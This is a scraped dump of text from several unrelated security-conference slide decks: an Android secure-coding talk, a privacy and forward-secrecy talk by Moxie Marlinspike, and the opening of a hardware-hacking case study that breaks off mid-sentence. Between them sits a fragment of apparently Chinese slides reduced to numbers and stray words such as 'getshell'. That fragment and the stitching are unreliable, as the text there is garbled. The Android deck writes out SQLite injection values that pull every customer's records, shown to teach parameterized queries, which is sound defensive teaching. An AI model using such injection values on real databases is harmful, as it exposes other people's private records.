Joe Grand aka , Grand Idea Studio, Inc. Jacob Appelbaum aka ioerror Chris Tarnovsky, Flylogic Engineering "Smart" Parking Meter Implementations, Globalism, and You aka Meter Maids Eat Their Young
pdf
Seven  Ways  to Hang  Yourself  with Google  Android Yekaterina Tsipenyuk O'Neil Principal Security Researcher Erika Chin Ph.D. Student at UC Berkeley §  Founding  Member  of  the  Security  Research Group  at  For@fy  (now  an  HP  Company) §  Code  audits,  iden@fying  insecure  coding paFerns,  and  providing  security  content  for For@fy's  soHware  security  products §  B.S.  and  M.S.  in  CS  from  UC  San  Diego §  Thesis  focused  on  mobile  agent  security 2 §  Ph.D.  student  in  Computer  Science  at  UC Berkeley  (Security  research  group) §  B.S.  from  University  of  Virginia §  Research  interest  in  improving  mobile  phone security §  Recently  presented  at  MobiSys  2011  on vulnerabili@es  stemming  from  inter-­‐ applica@on  communica@on  in  Android §  Introduc@on  to  Google  Android §  Seven  Ways  to  Hang  Yourself §  Results  of  Empirical  Analysis §  Conclusion 4 GOOGLE  ANDROID Introduc)on  to §  Android  architecture §  Security  model §  Applica@on  breakdown §  Android  manifest §  Inter-­‐component  communica@on 6 §  Applica@ons §  Applica@on  framework  (SDK) §  Dalvik  virtual  machine – Customized  bytecode  (.dex  files) §  Na@ve  libraries – Graphics,  database  management,  browser,  etc. – Accessed  through  Java  interfaces §  Linux  kernel – Device  drivers,  memory  management,  etc. 7 Lower Higher §  Applica@ons  have  unique  UIDs – Run  as  separate  processes  on  separate  VMs – Typically  cannot  read  each  other’s  data  and  code §  Linux-­‐style  file  permissions §  Android  permissions  protect – Access  to  sensi@ve  APIs – Access  to  content  providers – Inter-­‐  and  intra-­‐applica@on  communica@on 8 §  Applica@ons  are  divided  into  components §  4  types  of  components – Ac@vi@es – Services – Broadcast  Receivers – Content  Providers Each  applica@on  contains  a  manifest 10 <manifest ...> <application> <activity android:name=“.MyActivity”>...</activity> <receiver android:name=“.MyReceiver”>...</receiver> </application> <uses-sdk android:minSdkVersion=“8” /> <uses-feature android:name=“android.hardware.CAMERA”/> <uses-permission android:name=“android.permission.INTERNET” /> <uses-permission android:name=“android.permission.CAMERA” /> <permission android:name=“com.emc.NewPermission” /> </manifest> §  Uses  Intents  (messages) §  Intents  can  be  sent  between  components – Used  for  both  intra-­‐  and  inter-­‐applica@on communica@on – Event  no@fica@ons  (including  system  events) 11 Sender Receiver Intent §  Exact  recipient  is  specified 12 Yelp Map App Name:  MapAc@vity To:  MapAc@vity Only  the  specified  des@na@on  receives  this  message §  LeH  up  to  the  plaeorm  to  decide  where  it should  be  delivered 13 Yelp Clock App Map App Handles  Ac@on:  VIEW Implicit  Intent Ac@on:  VIEW 14 Yelp Browser App Map App Handles  Ac@on:  VIEW Handles  Ac@on:  VIEW Implicit  Intent Ac@on:  VIEW §  Components  can  be  made  accessible  to  other applica@ons  (exported)  or  be  made  private §  Components  can  be  protected  by  permissions 15 16 Displays  Picture Retrieves  Picture Requires  RETRIEVE Permission App  1 Has  RETRIEVE  Permission App  2 Takes  Picture Requires  CAMERA Permission GOOGLE  ANDROID Seven  Ways  to  Hang  Yourself  with 1.  Intent  Spoofing 2.  Query  String  Injec@on 3.  Unauthorized  Intent  Receipt 4.  Persistent  Messages:  S@cky  Broadcasts 5.  Insecure  Storage 6.  Insecure  Communica@on 7.  Overprivileged  Applica@ons §  AFack:  Malicious  app  sends  an  Intent, resul@ng  in  data  injec@on/state  change §  Arises  when  components  are  public  and  do not  require  senders  to  have  strong permissions  <receiver android:name=“my.special.receiver”> <intent-filter> <action android:name=“my.intent.action” /> </intent-filter> </receiver> 20 Malicious Component Results  UI IMDb  App Handles  Ac@on: willUpdateShow?mes, show?mesNoLoca?onError Ac@on: show?mesNoLoca?onError Malicious Injec)on  App  Receiving  Implicit  Intents  makes  the  component  public 21 Typical  case AFack  case <receiver android:name=“my.special.receiver” android:exported=false> ... </receiver> or <receiver android:name=“my.special.receiver” android:exported=true android:permission=“my.own.permission”> ... </receiver> §  Unlike  SQL  injec@on,  SQLite  string  injec@on allows  malicious  users  to  view  unauthorized records,  but  not  to  alter  the  database §  Query  string  injec@on  occurs  when: 1.  Data  enters  a  program  from  an  untrusted  source 2.  The  data  is  used  to  dynamically  construct  a SQLite  query  string c = invoicesDB.query( Uri.parse(invoices), columns, "productCategory = '" + productCategory + "' and customerID = '" + customerID + "'", null, null, null, "'" + sortColumn + "'asc", null ); select * from invoices where productCategory = 'Fax Machines' and customerID = '12345678' order by 'price' asc productCategory  =  “Fax  Machines” customerID  =  “12345678” sortColumn  =  “price” Returns  invoice  records  for  ONE  customer select * from invoices where productCategory = ‘Fax Machines’ or productCategory = "' and customerID = '12345678' order by '" order by 'price' asc productCategory  =  “Fax  Machines’  or  productCategory  =  \  “” customerID  =  “12345678” sortColumn  =  “\”  order  by  ‘price” Returns  invoice  records  for  ALL  customers c = invoicesDB.query( Uri.parse(invoices), columns, "productCategory = ? and customerID = ?", {productCategory, customerID}, null, null, "'" sortColumn + "'asc", null ); Use  parameterized  queries!!! §  AFack:  Malicious  app  intercepts  an  Intent §  Arises  when  Intents  are  implicit  (public)  and do  not  require  receiving  components  to  have strong  permissions §  Can  leak  sensi@ve  program  data  and/or change  control  flow Intent i = new Intent(); i.setAction(“my.special.action”); [startActivity|sendBroadcast|startService](i); 29 Show@me Search Results  UI IMDb  App Handles  Ac@ons: willUpdateShow?mes, show?mesNoLoca?onError Implicit  Intent Ac@on: willUpdateShow?mes 30 31 Show@me Search Results  UI IMDb  App Handles  Ac@ons: willUpdateShow?mes, show?mesNoLoca?onError Implicit  Intent Ac@on: willUpdateShow?mes 32 Show@me Search Malicious Receiver IMDb  App Handles  Ac@on: willUpdateShow?mes, show?mesNoLoca?onError Implicit  Intent Ac@on: willUpdateShow?mes Eavesdropping  App  Sending  Implicit  Intents  makes  communica@on  public Intent i = new Intent(); i.setClassName(“some.pkg.name”, “some.pkg.name.TestDestination”); or Intent i = new Intent(); i.setAction(“my.special.action”); sendBroadcast(i, “my.special.permission”); §  Broadcast  Intent – One-­‐to-­‐many  message – Delivered  to  all  components  registered  to  receive them §  “S@cky”  Broadcast  Intents  are  broadcasts  that persist – Remain  accessible  aHer  they  are  delivered – Re-­‐broadcast  to  future  Receivers §  Cannot  be  restricted  to  a  certain  set  of receivers  (cannot  require  a  receiver  to  have  a permission) §  Accessible  to  any  receiver,  including  malicious receivers §  Can  compromise  sensi@ve  program  data §  Stays  around  aHer  it  has  been  sent – But  anyone  with  BROADCAST_STICKY  permission can  remove  a  s@cky  Intent  you  create 36 Requests  BROADCAST_STICKY Permission S@cky  broadcasts: Malicious  App  Newly  connected  receiver  will  be  unaware  of  the  change S@cky  broadcast  1 S@cky  broadcast  2 S@cky  broadcast  3 Vic@m  app ? Receiver (expects  s@cky broadcast  2) §  Use  regular  broadcasts  protected  by  the receiver  permission  instead,  if  possible §  Thoroughly  scru@nize  data  in  broadcasted messages §  Files  on  the  SD  Card  are  world-­‐readable §  Files  stay  even  aHer  applica@on  that  wrote them  is  uninstalled §  Can  compromise  sensi@ve  program  data – Passwords – Loca@on – SMS – Etc. §  Skype  for  Android  exposes  your  name,  phone number,  chat  logs  and  more §  Ci@bank  iPhone  app  “accidentally”  saved account  numbers,  bill  payments  and  security access  codes  in  a  secret  file §  iPhone  loca@on  file  contains  informa@on about  your  loca@on §  Write  to  an  applica@on’s  SQLite  database §  Write  to  the  device’s  internal  storage  and  use Context.MODE_PRIVATE §  Be  careful  of  leaking  sensi@ve  data  through HTTP  connec@ons §  When  using  WebViews,  connect  to  HTTPS when  possible §  Treat  your  mobile  app  as  you  would  a  web app §  Don’t  send  passwords  in  the  clear §  TwiFer:  Tweets  are  sent  in  the  clear §  Google  Calendar:  Calendar  traffic  is  sent  in  the clear §  Facebook:  Despite  having  a  fully  encrypted traffic  op@on  on  the  web  app,  the  mobile  app sends  everything  in  the  clear Courtesy:  hFps://freedom-­‐to-­‐@nker.com/blog/dwallach/things-­‐overheard-­‐wifi-­‐my-­‐android-­‐smartphone §  Overprivileged  applica@ons  –  applica@ons  that request  more  permissions  than  the  app actually  requires §  Violates  the  principle  of  least  privilege §  Any  vulnerability  may  give  the  aFacker  that privilege §  Users  may  get  accustomed  to  seeing  and accep@ng  unnecessary  permission  requests from  third  party  applica@ons §  Common  causes – Confusing  permission  names – Tes@ng  ar@facts – Using  depu@es – Error  propaga@on  through  message  board  advice – Related  methods 46 Wants  Picture Takes Picture App  1 Handles  Ac@on: IMAGE_CAPTURE Implicit  Intent Ac@on:  IMAGE_CAPTURE Camera  App Do  not  need  CAMERA permission Needs  CAMERA permission GOOGLE  ANDROID Empirical  Results  Analyzing Applica)ons  Built  on Vulnerability  Type %  of  Apps  that  are  Vulnerable Intent  Spoofing 40% Unauthorized  Intent  Receipt 50% Overprivileged  Applica@ons 31% §  Obtaining  applica@on  source  code – Dedexers  available  fail  to  generate  valid  Java – Many  applica@ons  are  not  open  source §  Coding  conven@ons – Callbacks  and  other  implicit  control  flow  are  a challenge  for  tradi@onal  sta@c  analysis  techniques §  Documenta@on – Google  provides  liFle  documenta@on,  which  is oHen  incomplete  or  out-­‐of-­‐date §  Analysis  of  overprivileged  applica@ons  showed that: – Android  2.2  documents  permission  requirements for  only  78  out  of  1207  API  calls – 6  out  of  78  are  incorrect – 1  of  the  documented  permissions  does  not  exist §  Of  the  7  vulnerabili@es  presented: – 5  vulnerability  categories  currently  can  be iden@fied  by  For@fy’s  SCA  tools – 4  vulnerability  categories  currently  can  be iden@fied  by  UC  Berkeley’s  tools – 6  categories  will  be  integrated  into  the  current tools §  Adrienne  Porter  Felt,  David  Wagner,  UC Berkeley  [’11]  -­‐  Overprivilege §  Will  Enck,  Penn  State  [’09]  –  informa@on leakage  through  Broadcast  Intents §  Jesse  Burns  [’09]  –  other  common  developers’ errors §  Dan  Wallach  –  WiFi  leaks §  Android  has  its  own  set  of  security  piealls §  Sta@c  analysis  can  help  developers  avoid  these problems §  UC  Berkeley  and  For@fy  are  working  to incorporate  state-­‐of-­‐the-­‐art  sta@c  analysis  into For@fy’s  tools Seven  Ways  to Hang  Yourself  with Google  Android Yekaterina Tsipenyuk O'Neil Principal Security Researcher Erika Chin Ph.D. Student at UC Berkeley
pdf
1. 2. 3. 4. 5. 50k5k 6. 7. 8. 99% 9. 10. 1. 2. 3. 4. 5. 6. ppt 1. apt 2. 3. 2311 1. 2. 3. root rcejb idburp 1. getshell 2. 0daysdl hwgetshellxxx
pdf
Moxie Marlinspike Institute For Disruptive Studies Changing Threats To Privacy moxie@thoughtcrime.org Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Cypherpunks Moxie Marlinspike Institute For Disruptive Studies Government Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Dangerous Moxie Marlinspike Institute For Disruptive Studies Scared Moxie Marlinspike Institute For Disruptive Studies The Fuck Moxie Marlinspike Institute For Disruptive Studies Out Of Them Moxie Marlinspike Institute For Disruptive Studies Ultimate Control → No Control Moxie Marlinspike Institute For Disruptive Studies As Dangerous? = Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Cryptography Is Not A Banana != Moxie Marlinspike Institute For Disruptive Studies Cypherpunks Write Code! Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies “PGP: source code and internals” MIT Press 1995 Moxie Marlinspike Institute For Disruptive Studies 2000 == game over? Moxie Marlinspike Institute For Disruptive Studies the spread of information is inevitable Moxie Marlinspike Institute For Disruptive Studies predictions ● Anonymous digital cash will flourish. ● Intellectual property will disappear. ● Surveillance will become impossible. ● Governments will be unable to continue collecting taxes. ● Governments will fall. Moxie Marlinspike Institute For Disruptive Studies 10 years on Moxie Marlinspike Institute For Disruptive Studies Is This Victory? ● Everyone's mother has an illegal copy of an mp3 somewhere. ● Cryptography is everywhere. ● There are actual darknets which should make the eradication of information impossible. Moxie Marlinspike Institute For Disruptive Studies surveillance > privacy Moxie Marlinspike Institute For Disruptive Studies What Happened? Moxie Marlinspike Institute For Disruptive Studies future Moxie Marlinspike Institute For Disruptive Studies facism Moxie Marlinspike Institute For Disruptive Studies social democracy Moxie Marlinspike Institute For Disruptive Studies Choice Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Bob Eve Carol Alice Trent Mallory Zoe Me Moxie Marlinspike Institute For Disruptive Studies Bob Eve Carol Alice Trent Mallory Zoe Me Moxie Marlinspike Institute For Disruptive Studies Bob Eve Carol Alice Trent Mallory Zoe Me Codified Communications Channel Moxie Marlinspike Institute For Disruptive Studies Bob Eve Carol Alice Trent Mallory Zoe Me Codified Communications Channel “No Network Effect” Moxie Marlinspike Institute For Disruptive Studies Me Codified Communications Channel Zoe Carol Trent Mallory Eve Bob Alice Moxie Marlinspike Institute For Disruptive Studies Me Codified Communications Channel Zoe Carol Trent Mallory Eve Bob Alice Moxie Marlinspike Institute For Disruptive Studies Me Codified Communications Channel Zoe Carol Trent Mallory Eve Bob Alice “No Network Effect” Moxie Marlinspike Institute For Disruptive Studies What kind of choice? Moxie Marlinspike Institute For Disruptive Studies The push to expand choice scope Mobile Phone L o n g d i s t a n c e l o c a l s T e x t s f r o m f ri e n d s Make plans Society Moxie Marlinspike Institute For Disruptive Studies The push to expand choice scope Mobile Phone L o n g d i s t a n c e l o c a l s T e xt s fr o m f ri e n d s Make plans Society Moxie Marlinspike Institute For Disruptive Studies The push to expand choice scope Mobile Phone L o n g d i s t a n c e l o c a l s T e xt s fr o m f ri e n d s Make plans Society Moxie Marlinspike Institute For Disruptive Studies The push to expand choice scope Mobile Phone L o n g d i s t a n c e l o c a l s T e xt s fr o m f ri e n d s Make plans Society Moxie Marlinspike Institute For Disruptive Studies The push to expand choice scope Mobile Phone L o n g d i s t a n c e l o c a l s T e xt s fr o m f ri e n d s Make plans Society Moxie Marlinspike Institute For Disruptive Studies The push to expand choice scope Mobile Phone L o n g d i s t a n c e l o c a l s T e xt s fr o m f ri e n d s Make plans Society Moxie Marlinspike Institute For Disruptive Studies Small Chocies → Big Choices Moxie Marlinspike Institute For Disruptive Studies everywhere Moxie Marlinspike Institute For Disruptive Studies Another Example Moxie Marlinspike Institute For Disruptive Studies Another Example Moxie Marlinspike Institute For Disruptive Studies google analytics == not evil? Moxie Marlinspike Institute For Disruptive Studies Another Example Moxie Marlinspike Institute For Disruptive Studies Expand the scope of the choice Moxie Marlinspike Institute For Disruptive Studies significant? Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Total Information Awareness “...data must be made available in large-scale repositories with enhanced semantic content for easy analysis...” -John Poindexter Moxie Marlinspike Institute For Disruptive Studies A System For Easy Data Mining ● Store all: ● Email ● Web Traffic ● Credit Card History ● Medical Records ● Develop the technology to easily mine the massive amount of data you collect. Moxie Marlinspike Institute For Disruptive Studies the totalitarian future, the cypherpunk nightmare Moxie Marlinspike Institute For Disruptive Studies People Freaked Out Moxie Marlinspike Institute For Disruptive Studies People Freaked Out Moxie Marlinspike Institute For Disruptive Studies People Freaked Out Moxie Marlinspike Institute For Disruptive Studies People Freaked Out Moxie Marlinspike Institute For Disruptive Studies People Freaked Out Moxie Marlinspike Institute For Disruptive Studies A System For Easy Data Mining ● Store all: ● Email ● Web Traffic ● Credit Card History ● Medical Records ● Develop the technology to easily mine the massive amount of data you collect. ● That's Google's jam! Moxie Marlinspike Institute For Disruptive Studies Intent Moxie Marlinspike Institute For Disruptive Studies Surveillance Business Moxie Marlinspike Institute For Disruptive Studies Effect is the same Moxie Marlinspike Institute For Disruptive Studies Who knows more about the citizens in their own country, Kim Jong-Il or Google? Moxie Marlinspike Institute For Disruptive Studies Choice Moxie Marlinspike Institute For Disruptive Studies The choice is expanding Moxie Marlinspike Institute For Disruptive Studies society Moxie Marlinspike Institute For Disruptive Studies Trends Have Changed ● Technology alters society. ● Information accumulates in distinct places as a result. ● Eavesdroppers move to those points of accumulation. Moxie Marlinspike Institute For Disruptive Studies Past was direct Moxie Marlinspike Institute For Disruptive Studies Past Moxie Marlinspike Institute For Disruptive Studies Present is subtle Moxie Marlinspike Institute For Disruptive Studies Present Moxie Marlinspike Institute For Disruptive Studies Present Moxie Marlinspike Institute For Disruptive Studies Past was direct Moxie Marlinspike Institute For Disruptive Studies Present is subtle Moxie Marlinspike Institute For Disruptive Studies Thoughts for the future 1. Deal with the choices that aren't choices. Moxie Marlinspike Institute For Disruptive Studies Acknowledge Moxie Marlinspike Institute For Disruptive Studies Choices → Expanding Moxie Marlinspike Institute For Disruptive Studies Choices → Demands Moxie Marlinspike Institute For Disruptive Studies Some Projects Moxie Marlinspike Institute For Disruptive Studies What's up with Google? ● They have an awful lot of data. ● They record everything. Your IP address, the cookie they issue, your search requests, the contents of every email you've sent or received, the news you read, the places you go, even your TCP headers. They're even collecting realtime GPS location and DNS lookups. ● The know who your friends are, where you live, where you work, and where you spend your free time. They know about your health, your love life, and your political leanings. ● They know not just what you're doing, but also a lot about what you're thinking. Moxie Marlinspike Institute For Disruptive Studies Control the terms ● “We anonymize your data after nine months.” ● “Anonymize” means drop the last octet of an IP address. And cookies are simply translated. ● “We take privacy so seriously that we put it under your control.” ● Only shows you some of the information that they are most obviously capable of connecting to you. ● Requires that you have an account, be logged in while using services, and maintain a consistent cookie in order to participate. Moxie Marlinspike Institute For Disruptive Studies “If there's something you don't want anyone to know, maybe you shouldn't be doing it in the first place.” – Eric Schmidt, Google CEO Moxie Marlinspike Institute For Disruptive Studies “aurora” was about intercept Moxie Marlinspike Institute For Disruptive Studies GoogleSharing Moxie Marlinspike Institute For Disruptive Studies Premise ● The scope of the “Google choice” has become quite large. ● We need some innovation that allows us to reject this type of false choice while still maintaining anonymity. ● We need anonymous access to Google services that is fast and reliable. Moxie Marlinspike Institute For Disruptive Studies GoogleSharing + GoogleSharing Proxy Server + Moxie Marlinspike Institute For Disruptive Studies GoogleSharing Proxy G o o g l e Internet Moxie Marlinspike Institute For Disruptive Studies GoogleSharing Proxy Identity Identity Identity Identity Moxie Marlinspike Institute For Disruptive Studies GoogleSharing Proxy G o o g l e Internet Moxie Marlinspike Institute For Disruptive Studies GoogleSharing Proxy G o o g l e Internet Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies facecloak Moxie Marlinspike Institute For Disruptive Studies Prof. Urs Hengartner Moxie Marlinspike Institute For Disruptive Studies Moxie Marlinspike Institute For Disruptive Studies twitter broadcast || conversation Moxie Marlinspike Institute For Disruptive Studies Second thesis Moxie Marlinspike Institute For Disruptive Studies crypto war → data freedom Moxie Marlinspike Institute For Disruptive Studies Future of data control Moxie Marlinspike Institute For Disruptive Studies Projects born out of reality Moxie Marlinspike Institute For Disruptive Studies darknets, data havens, hidden services Moxie Marlinspike Institute For Disruptive Studies Not the future we got Moxie Marlinspike Institute For Disruptive Studies Privacy advocates love “the other.” Moxie Marlinspike Institute For Disruptive Studies “Iran launches national email service” Moxie Marlinspike Institute For Disruptive Studies loss on crypto giving up → changing strategies Moxie Marlinspike Institute For Disruptive Studies Key escrow → Key disclosure Moxie Marlinspike Institute For Disruptive Studies Regulation of Investigatory Powers Act (RIPA) Moxie Marlinspike Institute For Disruptive Studies key disclosure Moxie Marlinspike Institute For Disruptive Studies no forward security Moxie Marlinspike Institute For Disruptive Studies Tasks For The Future 1. Deal with the choices that aren't choices. 2. Worry a little less about information freedom. 3. Worry a lot more about forward security. Moxie Marlinspike Institute For Disruptive Studies “Off-the-record communication, or, why not to use PGP” - Nikita Borisov, Ian Goldberg, Eric Brewer Moxie Marlinspike Institute For Disruptive Studies PGP Model Bob Email 1 Bob's Public Key + Bob Email 2 Bob's Public Key + Bob Email 3 Bob's Public Key + Moxie Marlinspike Institute For Disruptive Studies PGP Model Bob Email 1 Bob's Public Key + Bob Email 2 Bob's Public Key + Bob Email 3 Bob's Public Key + Moxie Marlinspike Institute For Disruptive Studies PGP Model Bob Email 1 Bob's Public Key + Bob Email 2 Bob's Public Key + Bob Email 3 Bob's Public Key + Moxie Marlinspike Institute For Disruptive Studies PGP Model ● One key compromise affects all previous correspondence. Moxie Marlinspike Institute For Disruptive Studies PGP Model ● One key compromise affects all previous correspondence. ● The secrecy of what I write is function of your security practices. Moxie Marlinspike Institute For Disruptive Studies PGP Model ● One key compromise affects all previous correspondence. ● The secrecy of what I write is function of your security practices. ● There is authenticity, but no deniability. Moxie Marlinspike Institute For Disruptive Studies PGP Model -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey Bob, today I was thinking that Eve is a real jerk. -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAkumY0MACgkQ2yS3tG03iIJhAACgiufmacfyU M/9PYcVS2Mdb9tdmhYAoO4P0pZug2D7BuFEPkLovKpipore=8 rKh -----END PGP SIGNATURE----- Moxie Marlinspike Institute For Disruptive Studies undeniable Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Key Exchange Part 1 Signed With Alice's Private Key Alice Bob Alice Key Exchange Part 2 Signed With Bob's Private Key Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Key Exchange Part 1 Signed With Alice's Private Key Alice Bob Alice Key Exchange Part 2 Signed With Bob's Private Key Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Message 1 || Key Exchange Part 1 Current Key + Alice Bob Current Key + Alice Message 2 || Key Exchange Part 2 Bob Message 3 || Key Exchange Part 1 Current Key + 1 + Alice Bob Current Key + 1 + Alice Message 4 || Key Exchange Part 2 Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Message 1 || Key Exchange Part 1 Current Key + Alice Bob Current Key + Alice Message 2 || Key Exchange Part 2 Bob Message 3 || Key Exchange Part 1 Current Key + 1 + Alice Bob Current Key + 1 + Alice Message 4 || Key Exchange Part 2 Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Message 1 || Key Exchange Part 1 Current Key + Alice Bob Current Key + Alice Message 2 || Key Exchange Part 2 Bob Message 3 || Key Exchange Part 1 Current Key + 1 + Alice Bob Current Key + 1 + Alice Message 4 || Key Exchange Part 2 Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Message 1 || Key Exchange Part 1 Current Key + Alice Bob Current Key + Alice Message 2 || Key Exchange Part 2 Bob Message 3 || Key Exchange Part 1 Current Key + 1 + Alice Bob Current Key + 1 + Alice Message 4 || Key Exchange Part 2 Moxie Marlinspike Institute For Disruptive Studies OTR Model Message Encrypted With Session Key Moxie Marlinspike Institute For Disruptive Studies OTR Model Message Encrypted With Session Key Authenticated With MAC Moxie Marlinspike Institute For Disruptive Studies OTR Model Message Encrypted With Session Key Authenticated With MAC Moxie Marlinspike Institute For Disruptive Studies OTR Model Message Encrypted With Session Key Authenticated With MAC Signatures are undeniable because they have only one possible author. Moxie Marlinspike Institute For Disruptive Studies OTR Model Message Encrypted With Session Key Authenticated With MAC MACs have two possible authors. Moxie Marlinspike Institute For Disruptive Studies OTR Model Message Authenticated With MAC After a broadcast, anyone can forge an old message. Moxie Marlinspike Institute For Disruptive Studies OTR Model ● A key compromise does not affect previous messages. ● You get authenticity, but also deniability. Moxie Marlinspike Institute For Disruptive Studies Future Moxie Marlinspike Institute For Disruptive Studies Whisper Systems Moxie Marlinspike Institute For Disruptive Studies Bring forward secure protocols into mobile phones Moxie Marlinspike Institute For Disruptive Studies Whisper Systems Moxie Marlinspike Institute For Disruptive Studies Whisper Systems But doesn't voip Suck? Asterisk Signaling Signaling RTP Moxie Marlinspike Institute For Disruptive Studies Whisper Systems But doesn't mobile voip Suck? Asterisk Signaling Signaling RTP Moxie Marlinspike Institute For Disruptive Studies Whisper Systems But doesn't mobile voip Suck? Asterisk Signaling Signaling RTP Moxie Marlinspike Institute For Disruptive Studies Whisper Systems But doesn't mobile voip Suck? Signaling Signaling RTP Moxie Marlinspike Institute For Disruptive Studies Whisper Systems But doesn't mobile voip Suck? Signaling (SMS) Signaling (SMS) RTP Moxie Marlinspike Institute For Disruptive Studies Whisper Systems ● Your phone doesn't need to maintain a constant network connection to a SIP server. ● (Your phone can go to sleep!) ● You don't need the equivalent of a Skype ID. ● (Addressing is based on existing phone numbers!) ● You don't need to run a VOIP server. ● (Just install the app and you're ready!) Moxie Marlinspike Institute For Disruptive Studies Whisper Systems But doesn't mobile voip Suck? Signaling (SMS) Signaling (SMS) RTP Moxie Marlinspike Institute For Disruptive Studies Whisper Systems But doesn't mobile voip Suck? Signaling (SMS) Signaling (SMS) ZRTP Moxie Marlinspike Institute For Disruptive Studies ZRTP ZRTP Moxie Marlinspike Institute For Disruptive Studies ZRTP ZRTP Negotiate ephemeral session key. Moxie Marlinspike Institute For Disruptive Studies ZRTP ZRTP Negotiate ephemeral session key. Derive “Short Authentication String”. Moxie Marlinspike Institute For Disruptive Studies ZRTP Moxie Marlinspike Institute For Disruptive Studies Whisper Systems OTR-Derived SMS Moxie Marlinspike Institute For Disruptive Studies Whisper Systems Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Message 1 || Key Exchange Part 1 Current Key + Alice Bob Current Key + Alice Message 2 || Key Exchange Part 2 Bob Message 3 || Key Exchange Part 1 Current Key + 1 + Alice Bob Current Key + 1 + Alice Message 4 || Key Exchange Part 2 Moxie Marlinspike Institute For Disruptive Studies OTR Model Bob Message 1 || Key Exchange Part 1 Current Key + Alice Bob Current Key + Alice Message 2 || Key Exchange Part 2 Bob Message 3 || Key Exchange Part 1 Current Key + 1 + Alice Bob Current Key + 1 + Alice Message 4 || Key Exchange Part 2 Moxie Marlinspike Institute For Disruptive Studies Small hope to reduce choice scope Moxie Marlinspike Institute For Disruptive Studies www.thoughtcrime.org moxie@thoughtcrime.org
pdf
INTRODUCTION TO HARDWARE HACKING HOW YOU TOO CAN FIND A DECADE OLD BUG IN WIDELY DEPLOYED DEVICES AVAYA 9600 DESKPHONE —A CASE STUDY WHO AM I ? • PHILIPPE LAULHERET • SENIOR SECURITY RESEARCHER FOR MCAFEE'S ADVANCED THREAT RESEARCH • @PHLAUL • 2 YEARS EMBEDDED SECURITY, 4 YEARS C++ DEV WHY SHOULD YOU CARE ABOUT HARDWARE HACKING? AVAYA 9600 SERIES IP DESKPHONE • 2ND LARGEST VOIP SOLUTION PROVIDER • 90% OF FORTUNE 100 • 9600 SERIES STARTED IN 2006, SOON EOL PRIOR ART • LOTS OF DOCUMENTATION ABOUT HARDWARE HACKING (SEE LAST SLIDE FOR LINKS) • INTRODUCTION TO ARM • HARDWARE HACKING BLOGS (ROUTERS, IOT, …) • ACCESSIBLE INTRODUCTION TO ELECTRONICS (ADAFRUIT, SPARKFUN) • EMBEDDED CAPTURE THE FLAG • HARDWARE HACKING VILLAGE • … • RED BALLOON SECURITY FOUND 2 RCE IN THE SAME SERIES OF PHONE • “STEPPING P3WNS”, RSA 2014 THE NEXT 40 MINUTES • USE THE PHONE AS A SPRINGBOARD TO TALK ABOUT HARDWARE HACKING • SHARE THE HOW, WHY, WHAT IF, FAILED ATTEMPTS, ETC. • IF I CAN DO IT, SO CAN YOU! HOW DID THIS PROJECT START? FIRST STEP: RECON • IF IT HAS RADIO (WIFI, BLUETOOTH,…) IT WILL BE ON THE FCC WEBSITE Source: https://fccid.io/TYM-9641GS (not our phone model, but part of the same 96xx series) Source: https://fccid.io/TYM-9641GS FIRST STEP: RECON • IF IT HAS RADIO (WIFI, BLUETOOTH,…) IT WILL BE ON THE FCC WEBSITE • FIND ONLINE MANUALS, MARKETING MATERIAL, ETC. FIRST STEP: RECON • IF IT HAS RADIO (WIFI, BLUETOOTH,…) IT WILL BE ON THE FCC WEBSITE • FIND ONLINE MANUALS, MARKETING MATERIAL, ETC. • FIND FORUM OF USERS (SYSADMIN, …) • LOOK ONLINE FOR FIRMWARE DOWNLOADS WHAT DO WE DO NOW? LET’S VOID WARRANTIES! IDENTIFYING THE MAIN COMPONENTS • USUALLY WE CAN FIND • CPU (MAYBE MORE THAN ONE) OR SYSTEM ON CHIP (SOC) • RAM • ON BOARD STORAGE (FLASH CHIP, EEPROM, SDCARD, …) • WIFI/BLUETOOTH MODULE (MAYBE UNDER A METALLIC SHIELD) • … • COMPONENTS HAVE LABELS PRINTED ON THEM • GOOGLE THE LABEL TO FIND MORE INFORMATION • DATASHEET TELL YOU HOW TO USE THE COMPONENT • SOMETIMES DATASHEET ARE NOT PUBLICLY AVAILABLE RAM CPU ??? UART UART Keyed RJ45 EEPROM TEST POINTS AND DEBUG HEADERS • WHY WOULD YOU EXPECT THEM? • USE SAME PCB AS THE DEVELOPMENT ONES • MANUFACTURING PROCESS (FLASH, VERIFICATION) • POST MORTEM • WHAT TO LOOK FOR? • UART (CONVENIENTLY LABELED HERE ☺) • JTAG • TEST POINTS • DEBUG HEADERS • UART • 4 (SOMETIMES 3) PINS (RX, TX, 3.3/5V, GND) • USED FOR SERIAL COMMUNICATION • USUALLY THE TEST POINTS ARE ALIGNED; NOT ALWAYS • VCC (3.3V, 5V, …) IS OPTIONAL (AKA USUALLY BETTER NOT TO CONNECT IT) • NEED TO KNOW/FIND CONNECTION SPEED (THE BAUD RATE) • IF YOU SEE SOMETHING, LIKE RANDOM BYTES, JUST TRY DIFFERENT BAUD RATE • ONLY SO MANY COMMON ONES • “AUTO-BAUD” FEATURE TEST POINTS AND DEBUG HEADERS • JTAG • USED FOR DEBUGGING HARDWARE • LOTS 